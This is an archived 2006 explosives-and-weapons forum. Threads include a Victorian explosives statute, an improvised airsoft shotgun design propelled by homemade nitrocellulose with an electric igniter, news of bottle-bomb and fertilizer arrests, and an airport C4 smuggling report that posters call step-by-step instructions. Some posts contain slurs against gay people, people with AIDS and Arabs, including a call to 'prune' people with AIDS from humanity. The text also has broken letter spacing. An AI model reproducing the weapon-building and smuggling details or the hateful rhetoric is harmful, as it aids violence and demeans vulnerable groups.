property has been actually caused or not, be guilty of an indictable offence,
and shall be liable to level 4 imprisonment (15 years maximum).
(3) Any person who unlaw fully and maliciously-
(a) does any act w ith intent to cause by an explosive substance or

conspires to cause by an explosive substance an explosion of a nature
likely to endanger life or to cause serious injury to property; or
(b) makes or has in his possession or under his control any

explosive substance w ith intent by means thereof to endanger life or
cause serious injury to property or to enable any other person by
means thereof to endanger life or cause serious injury to property-
shall, w hether any explosion does or does not take place and whether any
injury to person or property has been actually caused or not, be guilty of an
indictable offence, and shall be liable to level 5 imprisonment (10 years
maximum).
(4) Any person who makes or knowingly has in his possession or under his
control any explosive substance, under such circumstances as to give rise to a
reasonable suspicion that he is not making it or does not have it in his
possession or under his control for a lawful object shall, unless he can show
that he made it or had it in his possession or under his control for a lawful
object, be guilty of an indictable offence, and shall be liable to level 6
imprisonment (5 years maximum).
(5) Any person who by the supply of or solicitation for money, the providing
of premises, the supply of materials, or in any manner w hatsoever knowingly
procures counsels aids abets or is accessory to the commission of any crime
under this Division shall be guilty of an indictable offence, and shall be
liable to be tried and punished for that crime as if he had been guilty as a
principal.
* * * * *
(7) In any presentment the same criminal act may be charged in different
counts as constituting different crimes under this Division, and upon the
trial of any such presentment the prosecution shall not be put to its election
as to the count on which it must proceed.
(8) This Division shall not exempt any person from any indictment presentment
or proceeding for a crime or offence which is punishable at common law or by
any enactment other than this Division but no person shall be punished tw ice
for the same criminal act.
(9) (a) If a magistrate is satisfied by the evidence on oath or by affidavit of any member of the police force above the rank of senior sergeant authorized in writing by the Chief
Commissioner of Police (w hether generally or in any particular case) in that behalf that there is reasonable ground for suspecting that an offence under this Division has been, is
being, or is about to be committed he may grant a search warrant authorizing any member of the police force named therein to enter at any time any premises or place
mentioned in the warrant, if necessary by force, and to search the premises or place and every person found therein, and to seize and detain any explosive substance w hich he
finds on the premises or place, or on any such person, in respect of which or in connexion with which he has reasonable grounds for suspecting that an offence under this
Division has been, is being, or is about to be committed.
(b) The member of the police force making the search may arrest without
warrant any person found on the premises whom he has reason to believe
to be guilty of an offence under this Division.
(c) Save as aforesaid the rules to be observed with regard to search

warrants mentioned in the Magistrates' Court Act 1989 shall extend and
apply to warrants under this section.
(d) The provisions of this section shall be read and construed as in aid
and not in derogation of the provisions with regard to warrants to
search contained in the said Act or elsewhere25.
15 years maximum! :eek:.
Hobbit Porn September 8th, 2006, 04:43 AM

C.tech : you might want to to double check by trying to check the legislation through the victorian government w ebsite. Austlii have been know n to be a bit lax with updating
amendments to legislation.
I have no idea if this is the case here, but it is better to be safe then sorry.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > improvised softair shotgun
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View Full Version : improvised softair shotgun
51cent September 2 nd, 2006, 01:03 PM

W ith this first post I wanted to present m y design for an improvised shotgun. The picture linked to im a g e s h a c k s h o u l d a n s w e r
all q uestions.
http://img11 0 . i m a g e s h a c k . u s / m y.php?image=shotgunby51centrf8.jpg
Anyhow I will also say som e words about it.
First of all so m e g e n e r a l i n f o r m a t i o n : T h i s s h o t g u n i s d e s i g n e d t o b e u s e d a s a s e c o n d a r y g u n f i x e d u n d e r a n p r i m ary airsoft-

gun. I'm using it under m y AK-47 rifle by Cybergun. Due to the fact that softairs aren't constucted to be lethal I'm using "only"
h a l f a g r a m m o f h o m e m ade nitrocellulose as proppellant. Altho ugh it gives a reamarkable recoil and hurts pretty m uch
compared to 0,5 joul softairs.
The gun barrel is m a d e o f a n a l u m iniu m pipe with an in ner diam eter of 2 cm and a wall thickness of 1 m m. It is surrounded by
brown sticky tape to prevent light reflection. W hich in turn could give away your position.
In order to reload the gun, the end plug of the shotgun has to be removed, wires changed, the new shell inserted a n d t h e e n d
plug pluged back again. :rolle yes:
I m a d e t h e e n d p l u g o u t o f t i s s u f o r m e d to a 4cm long cylinder. This is enouth to suffer the recoil. Again, the total shotgun is
not designed to be a lethal one.
The ignition squib consists of 2 1,5V Alkaline batteries which are conected in prarallel in order to give a reliabele and
c h e a p ( c h e a p e r t h a n a 9 V s y s t e m ) ignition current.
T h e a m m onuition consists of an bridgewire electric igniter glued to the exit of a 20m l single-use syringe. The syring e h o l d s u p
t o 8 0 p l a s t i k 6 m m BBs. I think everyone will understand or make up them self the schem atic following...
I prefered the electric sytem because it is not as difficult(I know there is a better word to explain that it is not easy to m a k e
but I can't re m m ember it except that it starts with "lab") as a mechanical ignition bolt in com bination with a prim ary on the
bottom of the "shell". Especialy because I have no access legal gun prim ers and wanted to built a "safe device", which rules a
h o m e-lab-product out.
S o m e info is also provided in the "extended properties" of the im a g e .

=================
Actually, this thread would fit into the "im provised weapons" section I pre fer the safe way m aking my first p ost in "the water
cooler" and let the mods decide whether this subject is worth to be selcted from threads like "Pure Amm onium Nitrate".
T h i s t h r e a d m a d e m e laught in the first instance :p
Chris The Great September 2 nd, 2006, 09:00 PM

W ith the wire s, have you considered using a plastic connector for it? It would save tim e in relaoding, since you would just
disconnect the old and slap on the new one. I've found wires to be annoying when using e lectronics, but actual conn ectors on
the ends make everything great.
Interesting trigger design. How reliable have you found it? I can see it accidently being fired if you hit the g round... but I
h a v e n ' t s e e n it attached to the airsoft gun, so perhaps the m agazine on the gun will gaurd the trig ger. Is this the case?
Neat project :)
c.Tech S e p t e m b e r 3 rd, 2006, 02:42 AM

It is surrounded by brown sticky tape to prevent light reflection.
Y o u r b r o w n t a p e s e e m s to let off a bit of reflection. Try us ing black m aterials as black usually d o e s n t reflect light and don't
use reflective m aterials such as tape.
S o m e non-reflective black materials could be paper and old clothes.
nbk2000 S e p t e m b e r 3 rd, 2006, 10:41 AM

I don't think there's a field in the coun try that'd let you take this in, as it IS hom e m a d e .
Imagine the potential liability of letting people take hom emade airsoft weapons...the very sam e p eople who light farts and
hold fireworks in their teeth :rolleyes: into a confrontational envirom ent with other fart-lighters.
C a l a m i t y ( a n d hilarity) ensues! :D
jellywerker S e p t e m b e r 3 rd, 2006, 02:03 PM

On the plus side though, a cleaned up and revised version of this would be fun for those of us who never go to a proper airsoft
arena and just shoot each oth er in the backyard woods. Methinks a last resort sid earm , a tube with a locking endcap that ha s
the electric wires in place for ignition, so you could reloa d when not in combat. I'm thinking about a 12-20in tube yo u s h o v e
down your boot till later, not som ething you use regularly.
This also raises the p ossibility of other hom emade airsoft weapons, an interesting topic for those whose cash is better reserved
for things like food and rent a nd not quality ~$ 300 airsoft guns.
51cent S e p t e m b e r 4 th, 2006, 05:32 PM

have you considered using a plastic connector for it?
Nope:confused: !
I spent a lot of time considering how to shorten the reloding time. Finally, Chris T he Great supplyed m e with additional brain
capacity.:o
I found these luster term inals in m y hardware store of trust:

http://img31 0 . i m a g e s h a c k . u s / m y . p h p ? i m a g e = i m p r o v e d s h o t g u n by51centfv3.jpg
How reliable have you found it?
I found it reliable enough to keep this design. Back in the tim es there I was constructing the m ain-parts, such as th e trigger, I
c o n s i d e r e d t h e u s a g e of a switch. But rejected it because the trigger used by me doesn' t cost a cent and is easier to handle.
Also note that the m edian contact is now insula ted by a straw wh ich is reusable. For exam ple during transport and reloading.
The straw is removed just before usage. Therefore it ha d to be a really u nlucky drop to end up with friendly fire. At least, I
hope so...
Try using bla ck materials

Dear c.Tech, the brown colour of the ta pe fits pefectly to the woo den design of the AK :D
zeocrash S e p t e m b e r 4 th, 2006, 08:38 PM

there's no way you'd be allowed to use this attached to your airsoft gun at any site, and even if you were, you'd probably get
punched if you shot that at so m e o n e .
for that matter why would you want to, why not just get a moscart launcher or airsoft shotg un.
look on redwolf airsoft.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Cash, weapons, explosives seized in raid
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megalomania September 2nd, 2006, 04:17 PM

By TERRI SANGINITI, The News Journal
August 30, 2006
A drug investigation lead to a morning raid today on a Bear home that yielded $25,000 in cash and 17 gallons of ammonium nitrate, a key ingredient in making explosives.
County police arrested Robert A. Nepi, 34, and his 31-year-old wife Golden Angel, both of the first block of Gogh Circle in the Westover development.
Each was charged with attempt to manufacture an explosive device, possession of a destructive weapon, possession of marijuana, and possession of drug paraphernalia.
Robert Nepi was also charged with two counts of possession of a firearm by a person prohibited, while Golden Nepi was wanted by the state police on a forgery-related
offense, according to County police spokesman Cpl. Trinidad Navarro.
Navarro said county detectives and members of the f ederal Bureau of Alcohol, Tobacco and Firearms executed a warrant at the couples home at 7:00 a.m. following a
two-week drug investigation.
Authorities seized a small amount of marijuana, a handgun, two crossbows, 17 gallons of ammonium nitrate, high grade peroxide and more than $25,000 in cash.
Navarro said the ammonium nitrate and high grade peroxide can be a very powerful explosive when mixed together.
Nepi was arrested in May, 2004 and later convicted of drug possession, according to court records.
Nepi completed the terms of his probation on Dec. 19.
No bail information was immediately available.
megalomania September 2nd, 2006, 04:17 PM

Notice, if you will, that only a small amount of weed was found. Perhaps they had a few joints in the sock drawer? Also notice the complete lack of context in which the
ammonium nitrate and peroxide were discovered. That AN wouldnt happen to have been found in their garden shed right next to the grass seed and fertilizer spreader
would it? I suppose it is too much of a stretch to see if they had the peroxide by the swimming pool?
Perhaps I am growing mentally impaired in my old age, but can ammonium nitrate and hydrogen peroxide be mixed to make an explosive? This is the first I am
hearing of this dangerous terrorist weapon! Hmm, technically that is high grade peroxide, not hydrogen peroxide as one would assume. Since we are dealing with the
government here high grade could be anything. It could be 6% hair gel for all I know.
Kids, marijuana is a gateway drug. It can lead to naming your love child something stupid like Golden Angel, and building nasty terrorist weapons of mass destruction (and
bongs).
Chris The Great September 2nd, 2006, 04:57 PM

There is one mixture that uses a emulsion of oil, peroxide and a bit of soap mixed with ammonium nitrate. But they're really pushing "mixed together". But it seems whenever
"bomb making materials" are mentioned it's always mixing them together no matter what they are.
I'd suggest that they did deal with some durgs judging by the cash though, most people don't have that kind of cash lying around normally. I say most, there are of course
exceptions.
GibbsFreeEnergy September 2nd, 2006, 06:17 PM

Well I believe it's futile to try to dispute the fact that these people were, in fact, terrorists. It's obvious that anyone dealing with something as evil and downright anti-American
as marijuana is one who is pro-terrorist and anti-family. I'm pretty sure the fact that they had marijuana in their house helped play nicely into getting society to believe these
people were using the chemicals in their possession for terrorist activities.
:rolleyes:
hypergolic reaction September 2nd, 2006, 10:48 PM

I am thinking they were dealing with drugs and after the police found that they just grabbed more and more crap to try pin on them.
17 Gallons of ammonium nitrate... :rolleyes: LOL.
nbk2000 September 3rd, 2006, 12:12 AM

Ammonium Nitrate and peroxide are both used in hydroponic growing systems, so if they were growing weed (in the past, or planning to in the future), that's something they'd
likely have.

Yes I do believe weed is a gateway drug that does indeed lead to unmeasurable amounts of stupid humor.
I think what we have here is a small-time dealer trying to go big-time but getting sloppy. And it doesn't help that they had the police going all gung-ho and accusing them of
being terrorist. Think just a two week investigation and they stumbled upon a bunker full of WMD's.
Glad it wasn't my dealer.

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Police Arrest Teen Bombers - Drano bombers!
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Story by Anthony Welsch
Albert Lea, MN (KIMT)
Thursday, August 31, 2006
A pair of teenagers have been arrested for a pair of explosions in an Albert Lea neighborhood. Two 16 year olds are suspected of making bottle bombs w ith house pipe cleaner
on the city's south side.
The kids w ere basically using drano to blow up plastic soda bottles. But last night police caught and arrested them, seizing enough materials for nearly a dozen of w hat could
have been very dangerous explosives.
It w as a quiet movie night in the living room before Jamie Kittle heard a pop. She thought she'd check out what she figured was just a prank.
"We thought it was an egg. The first one w e heard, we went outside, no big deal. We got outside, no egg on the house," Kittle said.
It w as a lot more serious than an egg so they called the police, who showed up to find a pop bottle that looked like it got run over by a Mac Truck.
"There is enough explosive material there that it could do damage, real damage to a person, it's not anything to take lightly," Lt. Glen Larson of the Albert Lea Police
Department said.
Basically, they used a pop bottle as a holster for the explosive. Wednesday night, they found tw o that had already detonated, including the one that fell here in Jamie's yard.
But along w ith those, police also found nine other that hadn't been detonated.
"It's easy, all the materials can be commonly procured in a grocery store," Larson said.
That in itself, is a little scary for some, especially w ith kids of their own running around.
"It was pretty intense. You're like, 'ok, what next?' Here they are making drano bombs," Kittle said.
But two suspects in this neighborhood were caught right away Wednesday night.
Police won't say if this is the only case connected to these kids, or if the suspects have a history. They say the investigation is on-going.
"I'm not really going to go into a lot of detail or if there may or may not be other people involved yet," Larson said.
But police warn this probably isn't the end of the explosives in Freeborn County.
"Me, only being 22 years old. It's harmless fun. It could have escalated into something more and they know better, they definitely know better," Kittle said.
Now neighbors here know they may need to be a little more careful.
The two teenagers arrested Wednesday are now out of police custody. Authorities say they're back w ith their parents now, but they could soon face felony charges.
Police say there w ere no injuries or serious property damage reported along w ith the explosions.

Evacuate! The terrorists are among us!
Here is yet another completely exaggerated and overblown bomb scare where the police whip the ignorant soccer mom sheeple into a frenzy by making them fear the terrible
mad bombers.
Let us deconstruct the propagandist statements:

suspected of making bottle bombs
Call something a bomb and people immediately cringe in terror. Bombs are things that the US government drops on cities, and that crazy turban arabs strap to themselves
before vaporizing a pizza parlor full of jews. There needs to be a more appropriate word for devices of this nature, something besides bomb to distinguish a pop bottles truly
lame characteristics.
seizing enough materials for nearly a dozen of w hat could have been very dangerous explosives
This seems to follow the police pattern of calling 2 guns an ARSENAL, and 3 guns a HUGE HOARD. This statement implies they uncovered an underground bunker of what can
only be misconstrued as a homegrown terrorist cell in the heartland. In fact I fear the enough materials in question are no more than a case of bottled water w ith the bottles
being the materials.
There is enough explosive material there that it could do damage

Once again I must say these devices are in no way shape or form explosives. They do not fit the technical or legal definition of what an explosive is. I must reiterate there
needs to be a new word to define these types of devices to distinguish them from real explosives.
all the materials can be commonly procured in a grocery store That in itself, is a little scary for some, especially with kids of their own
We must protect the children! Wal-Mart is the source of jihad evil! Close dow n all those mom and pop stores! Why wont you protect the children! This is what the cops really
want, soccer moms having the same misconceptions about explosives that a lot of the kewls we ban here have. What kinds of explosives can I make from household products
that I can buy from the grocery store? The kewls buy into it, and the soccer moms accept it as gospel. It just isnt so kids! I want to slap the guy who w rote that scene from
Terminator where Reese made plastic explosives from components at the grocery store.
You're like, 'ok, what next?'

Indeed sheeple, I can see the gears turning in your head. IF draino + water bottle = bomb THEN unknown consumer product + better container = thousands of dead children in
the streets, 911 in my tow n, head chopping Iraqis parachuting from the sky la Red Daw n. Whats next is actually nothing except more of the same fireworks caliber
shenanigans. In the minds of all these sheeple, however, this is a prelude to invasion and the beginning of the end times. Thats just how the police want it.
police warn this probably isn't the end of the explosives in Freeborn County
All hail the glorious Gestapo, savior of the people! Protect us from this evil. Here are my guns. Here are my rights. Here is my first born. I endorse a Prima Nocta act now! If the
police said what they really meant that statement would read police want more funding to line their pockets to take advantage of a non-existent threat. Perhaps they are
after something more ominous? Maybe they can whip up the peasants to grab their pitchforks and torches to burn the w itches that dare sell drain cleaner and w ater bottles.
Hmm, torches and pitchforks might be too dangerous, better make those dessert forks flashlights. Well, forks could poke out an eye, maybe we should consult a lawyer on that,
and the batteries in flashlights could be used to power detonators I guess they can all pile into their SUVs and drive over the stores, cars NEVER hurt anyone. Thats the
American way!
tmp September 4th, 2006, 02:18 PM

Mega, sounds like the same weapons ban scare tactics we've all heard before.
One time I worked for a company that sold flash-frozen food. Naturally, we
had to store it in dry ice during transport. When we were bored, before the
mandatory sales meeting, we sometimes made dry ice/water bombs using
plastic bottles(Gatorade bottles w ere the best !). These things sounded like
an ashcan when the bottle bursted.
Unfortunately, the local police academy was less than 100 yards away,
although not in direct view . They w ere not amused for sure ! Once, we were
read the riot act by one their instructors who claimed that we could go to
prison for 25 years for manufacturing a "destructive device". The manager,
being a scared sheep, ordered us stop. This w as crazy ! We were just
trying to pass the time. relieve the boredom, and there was no harm done to
sheeple or property.
This was long before 911. Can you imagine how they'd react now ?
BeerWolf September 4th, 2006, 02:38 PM

If this is w hat passes for a "major crime" in this this town, it suggests to me that there is little or no REAL crime.
To me, this is a sign that this dept needs its funding CUT, not increased.
Oh, but then I forgot that this is too much logic in one dose for most "sheeple".
-BW

There needs to be a more appropriate word for devices of this nature, something besides bomb to distinguish a pop bottles truly lame characteristics.
There is...noise-maker
And that's exactly all these things are, are noise-makers. Unless you're stupid enough to be holding it when it goes off (and there are those who will! :rolleyes: ), or standing
right next to it (ditto), then it's harmless.
People who do any of the above two things are the same kind of people who stick metal objects in outlets and try to outrun a train at the crossing. :D
Of course, saying you arrested someone for setting off a noise-maker doesn't justify your budget, nor your gross violations of the Constitution or civil rights, hence the term
BOMB!! to scare the sheeple shitless.
Ropik September 4th, 2006, 05:07 PM

"There is enough explosive material there that it could do damage, real damage to a person, it's not anything to take lightly," - that suggests that even a w ater bottle
containing no explosive material(if you disregard the little bit of hydrogen that is produced) w hatsoever can be tremedously dangerous!
Use paragraph breaks.
Hey, people, don't you see that these garbage cans plastic bottles get thrown into are in reality terrorists' supply house? Let's go into grocery store and start buying - hexamine
tablets, citric acid, 30% hydrogen peroxide, ammonium nitrate fertilizer... oh, and of course Drano and Al foil! Can't forget the most pow erful thing there is! A glorified bottle
burster! It's cracking me up. I am glad I don't live there.
Lewis September 4th, 2006, 06:56 PM

I can't believe the authorities in the states are so worried about pressure noisemakers.
Last year at lunch hour in high school, we would regularily build these dry ice bombs and place them in outdoor (and in one case indoor) garbage cans all over school property.
Oddly enough, no one seemed to care about the loud explosions coming from random places.
One time, a friend of mine was setting them off in a park, and someone called the police. When the cop arrived, my friend started talking to him as if nothing had happened,
right before a big 2 litre dry ice bomb went off next to them.
Even at this, the cop just gave him a warning! In the states, people damn near turn nieghborhoods into w ar zones every 4th of july, but they're scared of a little dry ice? Just
doesn't add up to me.
inventorgp September 4th, 2006, 11:01 PM

Ah HAHAHAHA Ha Ha heh heh....
That is the most amusing thing I've heard all year!
...he he he
Ignorant cops! Ignorant sheeple

Sign of the times.
It puts more restrictions on people who like chemistry. Here, anything is a weapon. Australians are so paranoid. There w as a kid up in north Queensland that set off a sparkler
"bomb" in his backyard and got a $400 fine! Mind you, he didn't destroy anything.
I would say it would be the generation of 50-60 year olds, women in mind, that (not all) would hear a loud bang, call the cops (and accuse their neighbour of terrorism. some of
them anyw ay).
Aw hile ago was talking to a electrical appliance repair guy, who w as about 55ish now . When he lived on a farm, his father taught him and his brother how to make and use
explosives, drive truck and fix them etc. etc.
Man, how people had more knowledge and tolerance.
The repair guy also told me that he and his brother accidentally redirected a stream once!
Careful everyone, in five years lighting a match might be seen as an act of terrorism. he he he
azaleaem September 5th, 2006, 12:05 AM

Please allow me to play the role of a new parent:
"found nine others that hadn't been detonated" From the decription it appears that the kids couldn't properly mix the ingredients--so that bottles that hadn't yet burst were
found in people's yards. If a small child was to pick up a bottle on the way to school and mix it up some more, then the bottle may burst. That's the real hazard of these kewls.

Hell, you think thats bad...
My younger brother (about 10) called me a terrorist the other day because I have shuriken, stupid little whining bitch.
Thats what they w orld is coming to. In 10 years, w hen he is an adult, he will think like all the rest of the sheeple and anyone that does ANYTHING out of ordinary will be seen
as a terrorist and accused of thought-crime.
Equilibrium and prozium, here we come. If that happens, I god damn better be able to learn gun-kata, otherwise life wont be w orth living *wink*.

If a small child was to pick up a bottle on the way to school and mix it up some more, then the bottle may burst. That's the real hazard of these kewls.
I agree, these ignorant bastards don't even know how dangerous those "noise makers" can be.
While I hardly think of this being an act of terrorism, I think those idiots deserve the inconvenience of a stern talking too.
I believe the right information given to the wrong person has always been the problem.
Cobalt.45 September 5th, 2006, 05:10 AM

"found nine others that hadn't been detonated"
Or, were just empty bottles, the likes of which litter the countryside everywhere...
lucas September 5th, 2006, 06:17 AM

I was once told by a fire fighter of the chlorate he used to use when he was young. Another 55 or so year old fellow I know said he and his mates used Sugar/ chlorate mixtures
as kids and thought it a great laugh until they nearly blew themelves up trying to make a rocket/fountain type thingy which was more like a steel pipe bomb. he laughs about
it. Ahhhh the lovelypast I w ill never know, where an accidental pipe bomb is good clean fun.
Spudgun September 5th, 2006, 02:28 PM

you can do the same thing with 'MRE' heaters (meals ready to eat, ie chemical ration heaters)....just put it in a bottle, add a drop of water and throw, pretty harmless...but
wait, these things let off hydrogen, w hat if someone was smoking nearby when it went off?:eek: what is the w orld coming to?......

Sad, so very sad. I used to buy a liter of liquid nitrogen and spend the afternoon blowing pop bottles to bits with a few drops and my airgun. Didn't hurt anyone, ever. I nearly
hurt myself one time, trying to show off, but even that only left me covered in whatever the reaction products of calcium carbide and w ater are.
One time a mate tried to be a bit too cool about the whole thing, and spat on some molten sodium metal. He ran away to the tap, and had a small scar for a few months where
it exploded and hit him on the neck. I laughed, as I had w arned him it was dangerous!
Kids blowing pop bottles up in private shouldn't be crucified. A "destructive device"? What, like a plastic shredder? They do more damage to a pop bottle. Tell the cop you are
helping with recycling... The small bits are easier to melt.
Minion5 September 5th, 2006, 10:25 PM

A similar incident occured near my area, in the local school cafeteria.
One student "let off" a noise maker in my chemistry class, and a female student (who has been dealt with, by the w ay) ran to security and said that it was a BOMB. :mad:
My quote in the persons defense was:
"This is a CHEMISTRY class, w here we MIX things. Suspending a student for a legit and harmless experiment would be w rong, and I will not hesitate to go to the school board to
argue this subject (and I w ont hesitate, literally)."
Then the student and I (calmly) told the girl that her ignorance w as unacceptable. It's uncalled for and she shouldn't believe every single thing that she hears on TV. I even
asked her what her base on calling it a BOMB was.
Needless to say, she couldn't give me a straight answ er.

(as for security, they hate my guts now...but that's of no concern.) :rolleyes:

Oh azaleaem, how many children, and adults, in your tow n have been injured or killed by automobiles in the last 50 years compared to explosives? How many drunken drivers
have caused property damage? I don't see you complaining about mini-vans and SUVs, so why single out explosives?
That's rather like spending half of the medical research budget so some sick fags can get their completely avoidable AIDS treated rather than spend a dime on the top killers like heart
diseas e and diabetes. Fags are, of course, a vociferous political lobby, the squeaky wheel, that gets their greasen compared to all the white elderly types that get heart disease.
The people that made these noise makers were not arrested for injuring children; they were arrested for making explosives. That is explosives as in Oklahoma City and the
London subways. In many homes with children there are household products that a child can drink, shall we ban them all? A child can hang himself on a window blind cord, fall
down a w ell, stick a finger in an electrical socket, or fall out a window. Should the world be made of one story windowless padded cells with no lights or water because of what
a child might do? The world is made for adults, and anyone why tries to limit everything to only that which is safe for children is the true terrorist.
Besides, if a child hurts himself it is the PARENTS fault. Where was the parent? Off fucking somew here w ithout using protection making more bastard spawn probably. I remember about
10 years ago when those child leashes were in fas hion. Those should be m andatory

*grin* Speaking of those child harnesses Mega....
Let the kid run for a bit and mid w ay through a step, hit the break button.
*chuckle* Its fucking funny as hell.
As to AIDS and HIV, its alot like pruning a tree. If a branch gets infected, it must be pruned before it saps the strength from the rest of the tree.
Those with AIDS must be pruned from the human race before they sap us with their whining and bitching, or before the thing mutates into an airborn disease and fucks the rest
of us up that dont actually like to screw dirty men in the ass.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Anti-Terrorism Expert Sneaks Explosives Aboard Plane
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Friday, September 1, 2006
Just when the hysteria was calming down, one man proved there is no reason to lower your guard.
An anti-terrorism expert was able to sneak C4 plastic explosives and all the parts needed to detonate the bomb onto a Phillipine airline. This agent was asked to conduct this
security test by a government official, in the wake of the discovered Heathrow airport bombing scheme.
The man was able to bring the bomb and components onboard an airplane at the Manila domestic airport on August 14th, despire the heightened security. But how did he do it?
The security expert said he attached a piece of C4, a plastic explosive, to the sole of his leather shoe, and placed another piece inside an electric adaptor.
The wires he placed in a secret pocket near his belt.

While at the scanning and X-ray area prior to boarding, he casually placed a cellular phone in the basket that security personnel checked manually. The cell phone could serve
as a detonator.
Ten minutes after takeoff from the Manila domestic airport, the antiterrorism expert said he got up from his seat and went to the planes lavatory. Inside, he mixed all
the materials together. He then pulled out a digital camera from his jacket and took a video of his lethal concoction.
Other bomb insertion drills like this will be performed elsewhere in the country, perhaps we will see this new testing technique spread to other countries as well.
Suicide bomber flew on RP plane

Airport guards flunked anti-terror test 2 times
By Arlyn dela Cruz
Inquirer
Published on Page A1 of the September 1, 2006 issue of the Philippine Daily Inquirer
A MAN WEARING a jacket and carrying a bag was able to sneak a bomb onto a flight from Manila to Davao City last month at the height of the nationwide security alert after
Britain uncovered a plot to blow up transatlantic planes.
The man pulled off the same stunt on the return flight to Manila.
Had he detonated the bomb, he would have turned the commercial plane into a fireball and killed himself, the crew and hundreds of other passengers.
The man turned out to be a civilian antiterrorism expert tapped by a government official to test security measures at Philippine airports after British police foiled a plan to blow
up US-bound planes in midair using liquid explosives.
Security was tightened at Londons Heathrow airport on Aug. 10, setting off alarms at airports across the globe, including in the Philippines.
But the security and antiterrorism expert, who asked not to be named because of his work, said he managed to bring the bomb and its components onto the plane on Aug. 14
despite the additional security measures at the Manila domestic airport, like the banning of hand-carried fluids and gels.
A similar insertion of bomb components scenario is expected to be conducted at other airports in the country as part of efforts to upgrade the antiterrorism capability of
airport personnel.
At the departure gate, the antiterrorism expert said he passed through the walk-in detector, frisking and X-ray areas. He underwent the same security checks at the boarding
area. To prove that he was able to get the explosive and its components past security personnel, he filmed the bomb he had assembled on the plane and showed the footage
recently to select members of the media.
How did he get the bomb and its components past the tight security?
C4 plastic bomb
The security expert said he attached a piece of C4, a plastic explosive, to the sole of his leather shoe, and placed another piece inside an electric adaptor.
The wires he placed in a secret pocket near his belt.

While at the scanning and X-ray area prior to boarding, he casually placed a cellular phone in the basket that security personnel checked manually. The cell phone could serve
as a detonator.
Ten minutes after takeoff from the Manila domestic airport, the antiterrorism expert said he got up from his seat and went to the planes lavatory. Inside, he mixed all
the materials together. He then pulled out a digital camera from his jacket and took a video of his lethal concoction.
The only missing act was the push on the button to blow up the aircraft, he said in an interview.
In a real terrorist threat, the terrorist, usually a suicide bomber, will not hesitate and push the button to accomplish his or her mission.
Astonished
The antiterrorism expert said airport security personnel came to know about what he had done only after he told them about it when he got off the return flight from Davao.
Security personnel, around 50 of them, participated in the antiterrorism exercise. They were astonished to realize that they had not been that thorough in checking passengers.
None of the airport personnel who participated in the training knew the antiterrorism expert. He was introduced to the security personnel by the authorized government
agency that had hired him only after he alighted from the plane.
Think like a terrorist

In an interview, the antiterrorism expert said: To catch a terrorist, security personnel must act and think like a terrorist.
After the antiterrorist exercise, he submitted his recommendations, which he hoped would be forwarded to the Air Transportation Office (ATO) by the authorized
government agency that commissioned his services.
Among his recommendations were the following:

All items like cigarette and eyeglass cases, key chains, watches and all other objects made of metallic materials must pass through the X-ray machine.
Shoes and belts must be removed from the body and must be submitted for X-ray examination.
Airline crew must undergo rigid training on the threat of bomb insertion.
Politicians, military and police of ficers, and all other government officials must not be exempted from frisking and standard security checks to set an example so that
other passengers will cooperate in the stringent security checks.
Training of airport personnel must be upgraded but must start with a review of the basics.
The security lapse at the Manila domestic airport and at the Davao International Airport may be due to the fact that security personnel did not really know what to look for,
according to the antiterrorism expert.
The expert said security personnel may have been looking for what is believed to be sophisticated bomb components, like liquid bombs.
Diversion
In his sixth recommendation, the expert said authorities must consider the threat posed by liquid bombs, but they must also consider that it could be a way to divert attention
from the actual plot of terrorists.
For all we know, this is what the terrorists want us to think. That they have the capability to build liquid bombs, but the truth is the option still available to them
remains the conventional components for making bombs, he said.
He recommended that politicians and other officials not be exempted from security checks because security personnel may get the wrong idea of how a terrorist looks like and
behaves.
Right now, there is no fixed way in identifying terrorists. The key is to know how they think, what they are trained for and what makes them do this, usually based on
religious convictions, he said.
This may give a better picture of a terrorist determined to carry out a bombing mission, the expert said.

This is the kind of story you will NEVER read in any American newspaper. How did he sneak his bomb on board you say? Well here are step by step instructions. All that is
missing are diagrams.
Granted this is the Philippines, so their security may not be the same as in US or UK airports. Of course US and UK anti-terrorism measures rely on a turncoat snitch to warn
them beforehand, so some lone bomber with an agenda that keeps his mouth shut is probably going to succeed.
May the one true Christian God help us if the ragheads start using one man cells.

At Bruce Schneier's security blog, there's been a bit of discussion about this topic:
http://www.schneier.com/blog/archives/2006/09/man_claims_to_h.html
Personally, I think it's rather stupid to bring live explosives on board a plane and then stick a live detonator in it (as mentioned elsewhere), as Murphys Law says that the one
time you do that onboard a plane, will be the one time the thing goes off by some fluke means.
But it also shows that anyone smart and silent can do it. The downfall of most of the publicly revealed 'plots' has been the fact that there was dozens of raghead idiots
involved, meaning too many mouths flapping to get anywhere.

What about the possibility of paper saturated with PETN or RDX. Then any old newspaper becomes a potential terrorist threat.
PS. Live explosives on a plane with Innocent retards is a bad idea.

PS. Live explosives on a plane with Innocent retards is a bad idea.Why? If it goes off, the "authorised government agency" wrings it's hands and puts out the prepared
statement about how the terrorist threat is still as real as ever, and could we have some more power and funds please?
25 to 100 years later, when it gets found out, the civil 'servants' who did it are long retired or senile.
Either way, everyone wins when you show up a hole in security. Except the people.

I see something different with that so called explosives expert testing the security status of airports..He was paid by an organization so that their will be legitimate reason for
implementing stricter security measures to prevent catastrophic plane crashes "that are to be blamed on " terrorists.
They can gain from long term investments of security related gadgetries that will later be mandatory requirements for every airport in any country.
Therefore the main benefactors are the security related businessmen to the discormfort and hassle of the ordinary traveler.:rolleyes:
Think about if the security inspection is to be done to the extreme,Its not farfetched; there will come a time that passengers will alit the plane NAKED!:rolleyes: :p

I'd be working on a security device for airlines, myself, as that's the big money-maker for the near future, if I had any money to do so.

Go for it!
You have the right mindset and personality for such job:cool:
ShadowMyGeekSpace September 7th, 2006, 09:44 AM

I'm waiting for the day when everyone wishing to board a plane must be knocked out via n2o or something.
Ropik September 7th, 2006, 10:32 AM

And then, after several years, environmentalist will say that N2O damages the whole Earth and blackjacks will be used...
JakeGallows September 7th, 2006, 02:51 PM

I think this "experiment", the way it was described, was reasonable and accurate in the sense that it can be replicated. Certainly attacking a largely defenseless airplane can be
accomplished, in my opinion fairly easily - depending on what criteria you should to fulfill.
However, I am, and others should be, hesitant to accept a government agency's test which indicates that that government agency needs additional funding, power, etc.

This guy must be one of the clowns in the security circus. Live explosives assembled into a working bomb aboard an aircraft.
There are explosives simulants available that he could have used, including some that will set off explosives detectors and bomb sniffing dogs, but are inert. There are also
